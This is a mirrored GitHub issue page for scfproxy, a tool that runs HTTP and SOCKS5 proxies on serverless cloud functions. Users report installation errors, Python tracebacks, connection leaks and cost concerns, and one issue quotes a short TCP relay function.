GithubHelp home page GithubHelp logo

shimmeris / scfproxy Goto Github PK

View Code? Open in Web Editor NEW
967.0 12.0 266.0 21.4 MB

A proxy tool based on cloud function.

License: MIT License

Python 82.49% Go 17.51%
aliyun aws proxy proxypool reverse-proxy serverless tencent-cloud

scfproxy's People

Contributors

lanxuage avatar shimmeris avatar we1h0 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

scfproxy's Issues

请问可以适配阿里云吗,感觉阿里云的节点会更多一些

https://help.aliyun.com/document_detail/74798.html
按文档在阿里云新建API网关后,后段再建一样的云函数,入口改成阿里的了,还是会报错
Addon error: Traceback (most recent call last):
File "client.py", line 28, in request
flow.request = flow.request.make(
File "/Users/vincent/.venv/lib/python3.9/site-packages/mitmproxy/net/http/request.py", line 131, in make
req.url = url
File "/Users/vincent/.venv/lib/python3.9/site-packages/mitmproxy/net/http/request.py", line 285, in url
self.scheme, self.host, self.port, self.path = mitmproxy.net.http.url.parse(val)
File "/Users/vincent/.venv/lib/python3.9/site-packages/mitmproxy/net/http/url.py", line 52, in parse
raise ValueError("No hostname given")
ValueError: No hostname given

aws 部署命令无法使用

./scfproxy  deploy http  -p aws -r * --debug 

不起作用。debug参数也是不起作用,无法报出原因。
麻烦更新一下微信群二维码。谢谢。

http版本内存占用高

Out of memory: Killed process 4445 (mitmdump) total-vm:4014080kB

http版本内存占用稳定增长,似乎不会释放,我现在的策略是每隔一小时重启mitmdump,不晓得是不是这个版本的问题.

Mitmproxy: 7.0.4
Python: 3.8.10
OpenSSL: OpenSSL 1.1.1l 24 Aug 2021
Platform: Linux-5.4.0-100-generic-x86_64-with-glibc2.29

Prevent Recursive Connections in HTTP Proxy Server

HTTP proxy is vulnerable to recursive connections due to a defect in the martian project. This can lead to unintended and potentially harmful behavior, including infinite loops and excessive resource usage.

To ensure the stability and security of HTTP proxy, I plan to implement a feature that prevents recursive connections to the server. This feature will add a check to the server code that verifies whether the requested destination is the same as the current server, and if so, blocks the connection.

Add Request Limit Feature to HTTP Proxy

It could be problematic if there are any unexpected errors or bugs that cause a large number of requests to be made, resulting in unexpected and potentially significant charges.

win10 python 3.10.4 安装依赖出现问题

搜索了各种解决方案没成功,只能来求助下作者了。
pip install ruamel.yaml.clib==0.2.2
Looking in indexes: https://pypi.tuna.tsinghua.edu.cn/simple
Collecting ruamel.yaml.clib==0.2.2
Using cached https://pypi.tuna.tsinghua.edu.cn/packages/fa/a1/f9c009a633fce3609e314294c7963abe64934d972abea257dce16a15666f/ruamel.yaml.clib-0.2.2.tar.gz (179 kB)
Preparing metadata (setup.py) ... done
Building wheels for collected packages: ruamel.yaml.clib
Building wheel for ruamel.yaml.clib (setup.py) ... error
error: subprocess-exited-with-error

× python setup.py bdist_wheel did not run successfully.
│ exit code: 1
╰─> [90 lines of output]
sys.argv ['C:\Users\Administrator\AppData\Local\Temp\pip-install-jdwujm1g\ruamel-yaml-clib_cf64453edc5d45e2bf86e960cd0b2814\setup.py', 'bdist_wheel', '-d', 'C:\Users\Administrator\AppData\Local\Temp\pip-wheel-9qow3kej']
test compiling test_ruamel_yaml
test_ruamel_yaml.c
Generating code
Finished generating code
running bdist_wheel
running build
running build_py
creating build
creating build\lib.win-amd64-cpython-310
creating build\lib.win-amd64-cpython-310\ruamel
copying .ruamel_init_.py -> build\lib.win-amd64-cpython-310\ruamel
creating build\lib.win-amd64-cpython-310\ruamel\yaml
copying .ruamel\yaml_init_.py -> build\lib.win-amd64-cpython-310\ruamel\yaml
creating build\lib.win-amd64-cpython-310\ruamel\yaml\clib
copying ._init_.py -> build\lib.win-amd64-cpython-310\ruamel\yaml\clib
copying .\LICENSE -> build\lib.win-amd64-cpython-310\ruamel\yaml\clib
running build_ext
building '_ruamel_yaml' extension
creating build\temp.win-amd64-cpython-310
creating build\temp.win-amd64-cpython-310\Release
"C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\BIN\x86_amd64\cl.exe" /c /nologo /O2 /W3 /GL /DNDEBUG /MD -IC:\Python\Python310\include -IC:\Python\Python310\Include "-IC:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\INCLUDE" "-IC:\Program Files (x86)\Windows Kits\10\include\10.0.10240.0\ucrt" "-IC:\Program Files (x86)\Windows Kits\8.1\include\shared" "-IC:\Program Files (x86)\Windows Kits\8.1\include\um" "-IC:\Program Files (x86)\Windows Kits\8.1\include\winrt" /Tc_ruamel_yaml.c /Fobuild\temp.win-amd64-cpython-310\Release_ruamel_yaml.obj
_ruamel_yaml.c
c:\users\administrator\appdata\local\temp\pip-install-jdwujm1g\ruamel-yaml-clib_cf64453edc5d45e2bf86e960cd0b2814_ruamel_yaml.h(10): warning C4005: 'PyString_CheckExact': macro redefinition
_ruamel_yaml.c(486): note: see previous definition of 'PyString_CheckExact'
_ruamel_yaml.c(1889): warning C4090: '=': different 'const' qualifiers
_ruamel_yaml.c(3389): warning C4028: formal parameter 2 different from declaration
_ruamel_yaml.c(3389): warning C4028: formal parameter 3 different from declaration
_ruamel_yaml.c(3389): warning C4028: formal parameter 4 different from declaration
_ruamel_yaml.c(3863): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(3961): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(4096): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(4106): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(4116): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(4178): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(4188): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(4198): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(4945): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(4955): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(4965): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(5008): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(5018): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(5028): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(7908): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(7918): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(7928): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(7971): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(7981): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(7991): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(10785): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(10795): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(10805): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(11235): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(11245): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(11255): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(11688): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(11698): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(11708): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(12176): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(12186): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(12196): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(12239): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(12249): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(12259): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(12836): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(12846): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(12856): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(13317): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(13327): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(13337): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(13461): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(13471): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(13481): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(13951): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(13961): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(13971): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(14482): warning C4244: '=': conversion from 'Py_ssize_t' to 'int', possible loss of data
_ruamel_yaml.c(15019): warning C4028: formal parameter 2 different from declaration
_ruamel_yaml.c(15019): warning C4028: formal parameter 3 different from declaration
_ruamel_yaml.c(17287): warning C4244: '=': conversion from 'Py_ssize_t' to 'int', possible loss of data
_ruamel_yaml.c(21581): warning C4244: '=': conversion from 'Py_ssize_t' to 'int', possible loss of data
_ruamel_yaml.c(23880): error C2105: '++' needs l-value
_ruamel_yaml.c(23882): error C2105: '--' needs l-value
_ruamel_yaml.c(24053): error C2105: '++' needs l-value
_ruamel_yaml.c(24055): error C2105: '--' needs l-value
_ruamel_yaml.c(26224): warning C4996: '_PyUnicode_get_wstr_length': deprecated in 3.3
c:\python\python310\include\cpython/unicodeobject.h(446): note: see declaration of '_PyUnicode_get_wstr_length'
_ruamel_yaml.c(26240): warning C4996: '_PyUnicode_get_wstr_length': deprecated in 3.3
c:\python\python310\include\cpython/unicodeobject.h(446): note: see declaration of '_PyUnicode_get_wstr_length'
error: command 'C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\BIN\x86_amd64\cl.exe' failed with exit code 2
[end of output]

note: This error originates from a subprocess, and is likely not a problem with pip.
ERROR: Failed building wheel for ruamel.yaml.clib
Running setup.py clean for ruamel.yaml.clib
Failed to build ruamel.yaml.clib
Installing collected packages: ruamel.yaml.clib
Running setup.py install for ruamel.yaml.clib ... error
error: subprocess-exited-with-error

× Running setup.py install for ruamel.yaml.clib did not run successfully.
│ exit code: 1
╰─> [92 lines of output]
sys.argv ['C:\Users\Administrator\AppData\Local\Temp\pip-install-jdwujm1g\ruamel-yaml-clib_cf64453edc5d45e2bf86e960cd0b2814\setup.py', 'install', '--record', 'C:\Users\Administrator\AppData\Local\Temp\pip-record-k0gtkirz\install-record.txt', '--single-version-externally-managed', '--compile', '--install-headers', 'C:\Python\Python310\Include\ruamel.yaml.clib']
test compiling test_ruamel_yaml
test_ruamel_yaml.c
Generating code
Finished generating code
running install
C:\Python\Python310\lib\site-packages\setuptools\command\install.py:34: SetuptoolsDeprecationWarning: setup.py install is deprecated. Use build and pip and other standards-based tools.
warnings.warn(
running build
running build_py
creating build
creating build\lib.win-amd64-cpython-310
creating build\lib.win-amd64-cpython-310\ruamel
copying .ruamel_init_.py -> build\lib.win-amd64-cpython-310\ruamel
creating build\lib.win-amd64-cpython-310\ruamel\yaml
copying .ruamel\yaml_init_.py -> build\lib.win-amd64-cpython-310\ruamel\yaml
creating build\lib.win-amd64-cpython-310\ruamel\yaml\clib
copying ._init_.py -> build\lib.win-amd64-cpython-310\ruamel\yaml\clib
copying .\LICENSE -> build\lib.win-amd64-cpython-310\ruamel\yaml\clib
running build_ext
building '_ruamel_yaml' extension
creating build\temp.win-amd64-cpython-310
creating build\temp.win-amd64-cpython-310\Release
"C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\BIN\x86_amd64\cl.exe" /c /nologo /O2 /W3 /GL /DNDEBUG /MD -IC:\Python\Python310\include -IC:\Python\Python310\Include "-IC:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\INCLUDE" "-IC:\Program Files (x86)\Windows Kits\10\include\10.0.10240.0\ucrt" "-IC:\Program Files (x86)\Windows Kits\8.1\include\shared" "-IC:\Program Files (x86)\Windows Kits\8.1\include\um" "-IC:\Program Files (x86)\Windows Kits\8.1\include\winrt" /Tc_ruamel_yaml.c /Fobuild\temp.win-amd64-cpython-310\Release_ruamel_yaml.obj
_ruamel_yaml.c
c:\users\administrator\appdata\local\temp\pip-install-jdwujm1g\ruamel-yaml-clib_cf64453edc5d45e2bf86e960cd0b2814_ruamel_yaml.h(10): warning C4005: 'PyString_CheckExact': macro redefinition
_ruamel_yaml.c(486): note: see previous definition of 'PyString_CheckExact'
_ruamel_yaml.c(1889): warning C4090: '=': different 'const' qualifiers
_ruamel_yaml.c(3389): warning C4028: formal parameter 2 different from declaration
_ruamel_yaml.c(3389): warning C4028: formal parameter 3 different from declaration
_ruamel_yaml.c(3389): warning C4028: formal parameter 4 different from declaration
_ruamel_yaml.c(3863): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(3961): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(4096): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(4106): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(4116): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(4178): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(4188): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(4198): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(4945): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(4955): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(4965): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(5008): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(5018): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(5028): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(7908): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(7918): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(7928): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(7971): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(7981): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(7991): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(10785): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(10795): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(10805): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(11235): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(11245): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(11255): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(11688): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(11698): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(11708): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(12176): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(12186): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(12196): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(12239): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(12249): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(12259): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(12836): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(12846): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(12856): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(13317): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(13327): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(13337): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(13461): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(13471): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(13481): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(13951): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(13961): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(13971): warning C4267: 'function': conversion from 'size_t' to 'int', possible loss of data
_ruamel_yaml.c(14482): warning C4244: '=': conversion from 'Py_ssize_t' to 'int', possible loss of data
_ruamel_yaml.c(15019): warning C4028: formal parameter 2 different from declaration
_ruamel_yaml.c(15019): warning C4028: formal parameter 3 different from declaration
_ruamel_yaml.c(17287): warning C4244: '=': conversion from 'Py_ssize_t' to 'int', possible loss of data
_ruamel_yaml.c(21581): warning C4244: '=': conversion from 'Py_ssize_t' to 'int', possible loss of data
_ruamel_yaml.c(23880): error C2105: '++' needs l-value
_ruamel_yaml.c(23882): error C2105: '--' needs l-value
_ruamel_yaml.c(24053): error C2105: '++' needs l-value
_ruamel_yaml.c(24055): error C2105: '--' needs l-value
_ruamel_yaml.c(26224): warning C4996: '_PyUnicode_get_wstr_length': deprecated in 3.3
c:\python\python310\include\cpython/unicodeobject.h(446): note: see declaration of '_PyUnicode_get_wstr_length'
_ruamel_yaml.c(26240): warning C4996: '_PyUnicode_get_wstr_length': deprecated in 3.3
c:\python\python310\include\cpython/unicodeobject.h(446): note: see declaration of '_PyUnicode_get_wstr_length'
error: command 'C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\BIN\x86_amd64\cl.exe' failed with exit code 2
[end of output]

note: This error originates from a subprocess, and is likely not a problem with pip.
error: legacy-install-failure

× Encountered error while trying to install package.
╰─> ruamel.yaml.clib

note: This is an issue with the package mentioned above, not pip.
hint: See above for output from the failure.

http代理使用报错

环境:
使用的是腾讯云轻量应用服务器 上海的 搭建完成后服务器使用http代理

➜ bk curl http://ip.sb -x 127.0.0.1:8001
正常
➜ bk curl http://ip.sb -x xxx.xx2.57:8001
curl: (52) Empty reply from server
失败

image

已知防火墙端口已开放
image

求教是哪些地方可能的问题,谢谢啦

Task exception was never retrieved 很频繁

这个报错很频繁,超时设置了900,应该不是超时问题
socks5版本,运行环境ubuntu20.04

Task exception was never retrieved
future: <Task finished name='Task-4168' coro=<scf_handle() done, defined at /home/abc/app/csf_proxy/socks5/bridge.py:7> exception=AttributeError("'Conn' object has no attribute 'add'")>
Traceback (most recent call last):
File "/home/abc/app/csf_proxy/socks5/bridge.py", line 23, in forward
data = await src.read(4096)
File "/home/abc/app/csf_proxy/socks5/models.py", line 21, in read
return await self.reader.read(size)
File "/usr/lib/python3.8/asyncio/streams.py", line 684, in read
await self._wait_for_data('read')
File "/usr/lib/python3.8/asyncio/streams.py", line 517, in _wait_for_data
await self._waiter
ConnectionResetError: [Errno 104] Connection reset by peer

During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "/home/abc/app/csf_proxy/socks5/bridge.py", line 16, in scf_handle
await socks5_forward(client, bridge)
File "/home/abc/app/csf_proxy/socks5/bridge.py", line 38, in socks5_forward
await asyncio.gather(*tasks)
File "/home/abc/app/csf_proxy/socks5/bridge.py", line 32, in forward
print_time(f"{src.add} sends a ConnectionReset")
AttributeError: 'Conn' object has no attribute 'add'

http方式的云函数执行报错

请求api调用云函数时报错了,会返回430的状态码,并将报错的栈用做response返回,我在浏览器上使用代理时报错了会显示出一堆报错栈,一开始我并不知道是哪里出的问题,后来排查是云函数执行的报错,所以在mitmproxy进行response时增加对430的处理。image

不稳定,一直报: IPv6 not supported

2022-11-18 13:57:11 [ERROR] IPv6 not supported
Task exception was never retrieved
future: <Task cancelling name='Task-2' coro=<socks_handle() done, defined at /Users/xcy/temp/SCFProxy/SOCKS5/src/socks_client/socks5.py:14> exception=UnboundLocalError("local variable 'remote_addr' referenced before assignment")>
Traceback (most recent call last):
File "/Users/xcy/temp/SCFProxy/SOCKS5/src/socks_client/socks5.py", line 20, in socks_handle
remote_addr, port = await socks5_connect(client)
File "/Users/xcy/temp/SCFProxy/SOCKS5/src/socks_client/socks5.py", line 96, in socks5_connect
return remote_addr, port
UnboundLocalError: local variable 'remote_addr' referenced before assignment

[功能建议]完善debug输出

在创建时遇到如下报错,后面是否可以添加个输出详细信息呢,或者给出一个错误日志
Snipaste_2023-08-16_15-19-22

我后面试了--debug 好像没有输出debug日志
image

顺便向师傅请教个问题,阿里云上在销毁全部FC函数和应用的情况下,隔一个小时还会扣费,这种情况师傅有遇到过吗? 或者有思路吗?
image

云函数收费过高

能否出一个腾讯云函数的配置教程,创建出云函数后怎么配置可以降低费用成本。目前默认创建的配置收费都觉得太贵了。

工具代理SSL问题

你好师傅:

在尝试搭建云函数代理的时候翻阅到师傅的分享,感谢分享。
请问当使用扫描工具类要调用此HTTP代理客户端接口 时(非浏览器调用),如何实现能正常代理SSL流量问题呢?

SOCKS5 代理连续多个请求后VPS上出现大量CLOSE_WAIT 和 FIN_WAIT2 的未关闭连接

使用 SOCKS5 代理
PC 客户端通过 VPS 上的该代理连续发起多个 https 访问请求,VPS上的 bridge 会出现大量 PC 客户端 IP 与 Socks5 之间的 CLOSE_WAIT 状态的链接,随着请求次数的增加而增长;

同时观察到 Tencent SCF 平台地址与 bridge 之间也会出现大量状态为 FIN_WAIT2 的链接;

能否针对每个 session 的 Socket 状态增加判断,将 PC客户端主动断开,或 SCF 主动断开连接的情况,bridge 能正常处理自己主动进行 close() ?

我对 python 的 socket 使用不是很熟悉,不然就自己动手了,希望进行修复!

关于HTTPS代理

平时还是HTTPS的网站遇见的比较多一点 请问师傅关于HTTPS的实现方式有什么好的思路吗

sock5模式

用curl测试。vps sock5 显示established,且curl有响应。 但云函数报错;
image
是代码小bug吗

SOCKS5代理服务端报Connection Refused错误

HTTP干不动我就尝试部署了SOCKS5,客户端没什么问题,服务端(云函数)报Connection Rufused错误,然后客户端就会一直等待请求。
请求代码为:

curl --socks5 localhost:19602 https://www.baidu.com

云函数代码如下

import json
import socket
import select


bridge_ip = "*.*.*.*"
bridge_port = 19601


def main_handler(event, context):
    data = json.loads(event["body"])
    print(data)
    out = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    out.connect((data["host"], data["port"]))
    print(f'out is : {out}')
    bridge = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print("preparing for connection")
    bridge.connect((bridge_ip, bridge_port))
    print('connection established')
    bridge.send(data["uid"].encode("ascii"))
    print('data sended')
    i = 0
    while True:
        i += 1
        print(f'{i} loop')
        readable, _, _ = select.select([out, bridge], [], [])
        if out in readable:
            data = out.recv(4096)
            print(f'recv out data: {data}')
            bridge.send(data)
        if bridge in readable:
            data = bridge.recv(4096)
            print(f'recv bridge data: {data}')
            out.send(data)

部分运行日志如下:
image

START RequestId: 8f038ffacbe01f6aeb457e88fb943509

ERROR RequestId: 8f038ffacbe01f6aeb457e88fb943509 Result: Traceback (most recent call last):   File "/var/user/index.py", line 13, in main_handler     bridge.connect((data["host"], data["port"])) ConnectionRefusedError: [Errno 111] Connection refused

END RequestId: 8f038ffacbe01f6aeb457e88fb943509

Report RequestId: 8f038ffacbe01f6aeb457e88fb943509 Duration: 34ms Memory: 128MB MemUsage: 8.38MB

scfproxy http代理运行报错

大佬,使用腾讯云云函数部署了http的server脚本后,在本地运行licent脚本,出现如下错误,请问这个是步骤出错了么?
image
image

server脚本
image

can't access google

tencent cloud api can't support http2 ,how to let it be a http proxy for google.com?

请求适配Azure Function

我不知道Azure Function是否可以实现类似的功能,网上很难找到Azure Function相关资料。如果可以,恳请支持它

SCFProxy HTTP问题请教

师傅,脚本在中的SCF_TOKEN = "Token",自定义就可以吧;scf_servers: List[str] = [] #这个列表中填应该是填访问路径的地址。但运行之后报这个错:
image

进群

我想进微信群交流学习,进群二维码失效

socks5代理模式下会断流

采用的是阿里云函数socks5模式。在扫描或者长时间使用时发现代理会失效,有本地监听的新建sock连接,但没有scf的连接。程序重启后正常。
windows kali 测试都一样。

HTTP代理服务器返回430 Connection reset by peer,且出现频率非常高

从8月初开始,HTTP代理服务器突然就废了,100个请求最多能有30个返回下面这堆东西

Traceback (most recent call last):
  File "/var/lang/python3/lib/python3.6/site-packages/urllib3/connectionpool.py", line 343, in _make_request
    self._validate_conn(conn)
  File "/var/lang/python3/lib/python3.6/site-packages/urllib3/connectionpool.py", line 839, in _validate_conn
    conn.connect()
  File "/var/lang/python3/lib/python3.6/site-packages/urllib3/connection.py", line 344, in connect
    ssl_context=context)
  File "/var/lang/python3/lib/python3.6/site-packages/urllib3/util/ssl_.py", line 347, in ssl_wrap_socket
    return context.wrap_socket(sock, server_hostname=server_hostname)
  File "/var/lang/python3/lib/python3.6/ssl.py", line 401, in wrap_socket
    _context=self, _session=session)
  File "/var/lang/python3/lib/python3.6/ssl.py", line 808, in __init__
    self.do_handshake()
  File "/var/lang/python3/lib/python3.6/ssl.py", line 1061, in do_handshake
    self._sslobj.do_handshake()
  File "/var/lang/python3/lib/python3.6/ssl.py", line 683, in do_handshake
    self._sslobj.do_handshake()
    ConnectionResetError: [Errno 104] Connection reset by peer

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/var/runtime/python3/bootstrap.py", line 176, in handle
    ret = self.real_handler(event, context)
  File "/var/user/server.py", line 24, in main_handler
    r = http.request(**kwargs, retries=False, decode_content=False)
  File "/var/lang/python3/lib/python3.6/site-packages/urllib3/request.py", line 68, in request
    **urlopen_kw)
  File "/var/lang/python3/lib/python3.6/site-packages/urllib3/request.py", line 89, in request_encode_url
    return self.urlopen(method, url, **extra_kw)
  File "/var/lang/python3/lib/python3.6/site-packages/urllib3/poolmanager.py", line 324, in urlopen
    response = conn.urlopen(method, u.request_uri, **kw)
  File "/var/lang/python3/lib/python3.6/site-packages/urllib3/connectionpool.py", line 638, in urlopen
    _stacktrace=sys.exc_info()[2])
  File "/var/lang/python3/lib/python3.6/site-packages/urllib3/util/retry.py", line 344, in increment
    raise six.reraise(type(error), error, _stacktrace)
  File "/var/lang/python3/lib/python3.6/site-packages/urllib3/packages/six.py", line 685, in reraise
    raise value.with_traceback(tb)
  File "/var/lang/python3/lib/python3.6/site-packages/urllib3/connectionpool.py", line 600, in urlopen
    chunked=chunked)
  File "/var/lang/python3/lib/python3.6/site-packages/urllib3/connectionpool.py", line 343, in _make_request
    self._validate_conn(conn)
  File "/var/lang/python3/lib/python3.6/site-packages/urllib3/connectionpool.py", line 839, in _validate_conn
    conn.connect()
  File "/var/lang/python3/lib/python3.6/site-packages/urllib3/connection.py", line 344, in connect
    ssl_context=context)
  File "/var/lang/python3/lib/python3.6/site-packages/urllib3/util/ssl_.py", line 347, in ssl_wrap_socket
    return context.wrap_socket(sock, server_hostname=server_hostname)
  File "/var/lang/python3/lib/python3.6/ssl.py", line 401, in wrap_socket
    _context=self, _session=session)
  File "/var/lang/python3/lib/python3.6/ssl.py", line 808, in __init__
    self.do_handshake()
  File "/var/lang/python3/lib/python3.6/ssl.py", line 1061, in do_handshake
    self._sslobj.do_handshake()
  File "/var/lang/python3/lib/python3.6/ssl.py", line 683, in do_handshake
    self._sslobj.do_handshake()
    urllib3.exceptions.ProtocolError: (\'Connection aborted.\', ConnectionResetError(104, \'Connection reset by peer\'))

py3.8 venv centos

Traceback (most recent call last):
File "client.py", line 16, in
def request(flow: mitmproxy.http.HTTPFlow):
